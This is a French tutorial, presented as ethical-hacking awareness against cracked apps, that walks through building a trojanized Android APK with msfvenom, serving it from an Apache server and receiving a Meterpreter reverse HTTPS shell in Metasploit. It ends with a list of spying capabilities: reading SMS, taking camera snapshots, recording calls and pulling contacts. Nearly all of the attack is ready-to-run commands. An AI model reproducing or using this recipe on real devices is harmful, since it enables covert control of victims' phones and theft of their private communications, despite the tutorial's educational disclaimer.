Hacker un smartphone Android via MSFVenom
Cet tutoriel a pour objet le Hacking Ethique. Le but est de vous informer de la facilité avec laquelle un attaquant peut prendre le contrôle de votre smartphone et ainsi vous permettre d’être davantage vigilant lorsque vous télécharger une application non officielle. Ce tutoriel a donc un but éducatif pour vous aider à mieux préserver vos données et n’a PAS pour vocation à vous aider pour pirater illégalement un individu. Le piratage est sévèrement puni par la loi et je ne peux pas être tenu responsable de vos actes.
Vous tenez à vos données ? Ne téléchargez pas d’applications craquées !
Eh bien oui. Dans cet article nous allons montrer à quel point il est facile pour un attaquant de compromettre l’ensemble de vos données personnelles.
- Vous voulez économiser quelques euros et ne pas payer l’application officielle
- Vous voulez avoir des vies illimitées dans tel ou tel jeu
Voici 2 raisons parmi tant d’autres. Mais à quel prix ?
Je vais vous démontrer via ce tutoriel qu’installer des APK craquées sont dangereuses et peuvent tout simplement détruire votre intimité sans que vous ne vous en rendiez compte !!!!!!
Vous pouvez suivre la vidéo youtube ci-dessous
Ou vous pouvez tout simplement continuer à consulter cet article
Vidéo Youtube
Les actions principales de notre piratage :
Utiliser MsfVenom pour injecter du code malveillant au sein d’une application Android.
Mettre à disposition l’application corrompue sur notre machine attaquante
Récupérer la connexion via Metasploit et prendre le contrôle de l’appareil de la victime
Pré-requis :
Une distribution Linux (j’utilise ici Kali Linux ) installée sur votre ordinateur ou sur une machine virtuelle (exemple : VirtualBox ou ParallelDesktop)
Un smartphone Android qui simulera l’appareil de la victime
Une APK de test pour y injecter du code malveillant. Vous pouvez la télécharger ici.
Etape 1 : Préparation de la machine attaquante
Pour commencer nous allons préparer notre machine attaquante.
Ici, nous allons simplement mettre en place un serveur Apache simple sur lequel nous mettrons par la suite à disposition notre APK hackée.
$ sudo apt install apache2
$ systemctl start apache2.service
Ici, nous installons apache2 et nous lançons notre serveur.
Pour en vérifier le statut vous pouvez aussi faire cette commande : systemctl status apache2.service
.
Vérifiez alors que tout se passe bien et que la page d’accueil d’Apache s’affiche correctement en vous rendant par défaut sur l’adresse locale : 127.0.0.1
Votre machine attaquante est prête.
Etape Intermédiaire : Récupérer son IP locale de notre machine
Cette étape intermédiaire peut paraitre anodine, mais elle est cruciale puisque cela va nous permettre dans ce tutoriel d’accéder à notre machine attaquante via notre smartphone (c’est ici que la victime téléchargera l’Apk corrompue), mais cela nous permettra aussi de mettre en place un listener via la MsfConsole.
Pour récupérer votre Ip locale qui nous intéresse ici :
# Méthode 1
$ ifconfig eth0 | awk '/inet / {print $2}' | cut -d ':' -f2
# Méthode 2
$ ip -f inet -o addr show enp0s3 | cut -d\ -f 7 | cut -d/ -f 1
# Méthode 3 : on récupère dans les infos l'adresse de l'eth0
$ ifconfig
La réponse de cette commande devrait être quelque chose comme : 192.168.XXX
Conservez-là !
Dès que vous aurez à l’utiliser je noterai « VOTRE_IP«
Etape 2 : Injection de code malveillant dans une APK via MsfVenom
Pourquoi MsfVenom ?
MsfVenom est un composant majeur du framework Metasploit qui vous permet de générer des payloads, des apk, des fichiers executables ou des shells afin de les utiliser dans nos exploits.
Les avantages de MsfVenom ici sont :
- Un seul outil puissant
- Options de ligne de commande standardisées
- Vitesse accrue
Configuration
- Rendons-nous donc sur Kali et créons un dossier nommé « Apk »
- On dépose notre .apk préalablement téléchargé ici au sein de ce dossier.
Ouvrons ensuite notre terminal en nous mettant à la racine de notre projet.
- Installons l’ensemble des packages nécéssaires :
$ sudo su
$ apt-get install apktool
$ apt-get install -y default-jdk
$ apt-get install zipalign
apktool -> qui est un outil pour la rétro-ingénierie d’applications Android.
default-jdk -> qui est le Java Development Kit, soit un ensemble de bibliothèques logicielles java, et l’ensemble des outils avec lequel le code Java est compilé.
zipalign -> qui est un outil d’alignement d’archives zip optimisant l’apk avant de la distribuer. (nécessaire avec msfVenom et qui n’est parfois pas installé de base).
Injection du code malveillant dans notre application en utilisant MsfVenom
$ msfvenom -x piano.apk -p android/meterpreter/reverse_https lhost=VOTRE_IP
lport=443 -o myhackapk.apk
Que faisons nous ici :
-x : (template) On spécifie un fichier exécutable (ici notre apk) qui sera utilisé comme modèle
–p : (payload) On utilise ici nos charges utiles qui seront donc android, avec le mertepreter et tout cela en reverse https.
-o : (out): On enregistre la charge utile, soit ici notre application malveillante qui prendra le nom de myhackapk.apk
lhost : C’est donc votre ip locale récupérée durant l’étape intermédiaire ci-dessus
lport : Par défaut nous le définissions à 443.
La sortie console :
Grossièrement, ce que fait cette commande, est qu’elle décompile notre APK originale pour injecter du code malveillant en y ajoutant des permissions et des charges utiles avec une adresse d’écoute et un port, avant de la recompiler en un fichier de sortie.
Ce fichier de sortie est directement dans notre dossier APK sous le nom de myhackapk.apk
Notre application malveillante est générée.
Etape Intermédiaire : Déplacer l’Apk malveillante vers notre machine attaquante
Adaptons donc notre machine attaquante pour y déposer notre Apk hackée.
$ sudo rm /var/www/html/index.html
$ sudo cp myhackapk.apk /var/www/html/myhackapk.apk
Ici nous supprimons le fichier par défaut index.html de notre serveur Apache et nous y déplaçons notre Apk afin que nous puissions la télécharger comme le ferait une victime sur notre serveur.
Etape 3 : Metasploit et mise en place de notre listener
Nous allons maintenant configurer Metasploit et notre listener en attente d’un téléchargement et de l’installation par une victime de notre APK malicieuse.
$ msfconsole -q
$ msf > use multi/handler
$ msf > set payload android/meterpreter/reverse_https
$ msf > set lhost VOTRE_IP
$ msf > set lport 443
$ exploit
Parfait ! Tout est configuré et nous sommes en attente/en écoute d’un évenement qui sera donc l’installation de notre APK par la victime (qui doit évidemment accepter nos permissions).
Prendre le contrôle du smartphone
Côté victime :
- Prenez votre smartphone android
- rendez vous sur votre adresse locale de la machine attaquante préalablement récupérée et que nous avons utilisé (type 192.168.XXX).
- Télécharger notre apk myhackapk.apk et installer là.
- Acceptez les autorisations
- Utilisez l’apk
Côté Attaquant :
Observez votre terminal :
Nous avons récupéré la session de notre victime lorsqu’elle a installé notre application !!
Nous avons donc désormais le contrôle. Pour avoir toutes les commandes faites :
$ meterpreter > help
Parmis les commandes :
- Dump_sms > Récupérer tous les sms du smartphone android de votre vicitme
- Controle des caméras frontales ou arrieres > en prenant des snapshots ou des stream
- logs des appels > enregistrement des appels téléphoniques
- récupération des contacts
- faire des requêtes sur des bases de données locales
- installer d’autres applications
Et j’en passe !
Et voici l’enregistrement au sein de notre serveur apache :
Conclusion
Impressionnant n’est ce pas ? Une application de prise de notes simple, qui n’apparait pas comme malveillante ou malicieuse au premier abord mais installé de manière non sécurisée fait totalement perdre le contrôle de ses propres données à la victime.
L’attaquant à les plein pouvoirs sur le smartphone et peut ainsi compromettre la vie privée de l’utilisateur du téléphone.